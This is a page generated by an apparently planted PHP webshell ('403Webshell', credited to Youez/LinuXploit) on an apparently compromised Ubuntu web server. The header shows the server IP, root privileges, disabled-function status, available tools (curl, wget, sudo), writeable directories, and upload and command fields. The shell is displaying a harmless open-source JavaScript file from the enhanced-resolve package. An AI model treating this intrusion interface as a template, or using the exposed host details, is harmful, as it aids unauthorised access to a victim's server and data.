403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/abyogasms.com/node_modules/enhanced-resolve/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/abyogasms.com/node_modules/enhanced-resolve/lib/AliasFieldPlugin.js
/*
	MIT License http://www.opensource.org/licenses/mit-license.php
	Author Tobias Koppers @sokra
*/

"use strict";

const DescriptionFileUtils = require("./DescriptionFileUtils");
const getInnerRequest = require("./getInnerRequest");

/** @typedef {import("./Resolver")} Resolver */
/** @typedef {import("./Resolver").JsonPrimitive} JsonPrimitive */
/** @typedef {import("./Resolver").ResolveRequest} ResolveRequest */
/** @typedef {import("./Resolver").ResolveStepHook} ResolveStepHook */

// Sentinel stored in `_fieldDataCache` when a description file does not
// contain a usable alias field object. Lets us distinguish "not cached yet"
// from "no valid field" without calling back into `getField`.
const NO_FIELD_OBJECT = Symbol("NoFieldObject");

module.exports = class AliasFieldPlugin {
	/**
	 * @param {string | ResolveStepHook} source source
	 * @param {string | string[]} field field
	 * @param {string | ResolveStepHook} target target
	 */
	constructor(source, field, target) {
		this.source = source;
		this.field = field;
		this.target = target;
		// `this.field` is fixed for the plugin's lifetime, so caching
		// per description-file content is safe. The cached value is either
		// the resolved alias-map object or the `NO_FIELD_OBJECT` sentinel
		// meaning "description file has no usable alias field".
		/** @type {WeakMap<import("./Resolver").JsonObject, { [k: string]: JsonPrimitive } | typeof NO_FIELD_OBJECT>} */
		this._fieldDataCache = new WeakMap();
	}

	/**
	 * @param {Resolver} resolver the resolver
	 * @returns {void}
	 */
	apply(resolver) {
		const target = resolver.ensureHook(this.target);
		resolver
			.getHook(this.source)
			.tapAsync("AliasFieldPlugin", (request, resolveContext, callback) => {
				if (!request.descriptionFileData) return callback();
				const innerRequest = getInnerRequest(resolver, request);
				if (!innerRequest) return callback();
				const { descriptionFileData } = request;
				let fieldData = this._fieldDataCache.get(descriptionFileData);
				if (fieldData === undefined) {
					const raw = DescriptionFileUtils.getField(
						descriptionFileData,
						this.field,
					);
					fieldData =
						raw === null || typeof raw !== "object"
							? NO_FIELD_OBJECT
							: /** @type {{ [k: string]: JsonPrimitive }} */ (raw);
					this._fieldDataCache.set(descriptionFileData, fieldData);
				}
				if (fieldData === NO_FIELD_OBJECT) {
					if (resolveContext.log) {
						resolveContext.log(
							`Field '${this.field}' doesn't contain a valid alias configuration`,
						);
					}
					return callback();
				}
				/** @type {JsonPrimitive | undefined} */
				const data = Object.prototype.hasOwnProperty.call(
					fieldData,
					innerRequest,
				)
					? /** @type {{ [Key in string]: JsonPrimitive }} */ (fieldData)[
							innerRequest
						]
					: innerRequest.startsWith("./")
						? /** @type {{ [Key in string]: JsonPrimitive }} */ (fieldData)[
								innerRequest.slice(2)
							]
						: undefined;
				if (data === innerRequest) return callback();
				if (data === undefined) return callback();
				if (data === false) {
					/** @type {ResolveRequest} */
					const ignoreObj = {
						...request,
						path: false,
					};
					if (typeof resolveContext.yield === "function") {
						resolveContext.yield(ignoreObj);
						return callback(null, null);
					}
					return callback(null, ignoreObj);
				}
				/** @type {ResolveRequest} */
				const obj = {
					...request,
					path: /** @type {string} */ (request.descriptionFileRoot),
					request: /** @type {string} */ (data),
					fullySpecified: false,
				};
				resolver.doResolve(
					target,
					obj,
					`aliased from description file ${
						request.descriptionFilePath
					} with mapping '${innerRequest}' to '${/** @type {string} */ data}'`,
					resolveContext,
					(err, result) => {
						if (err) return callback(err);

						// Don't allow other aliasing or raw request
						if (result === undefined) return callback(null, null);
						callback(null, result);
					},
				);
			});
	}
};

Youez - 2016 - github.com/yon3zu
LinuXploit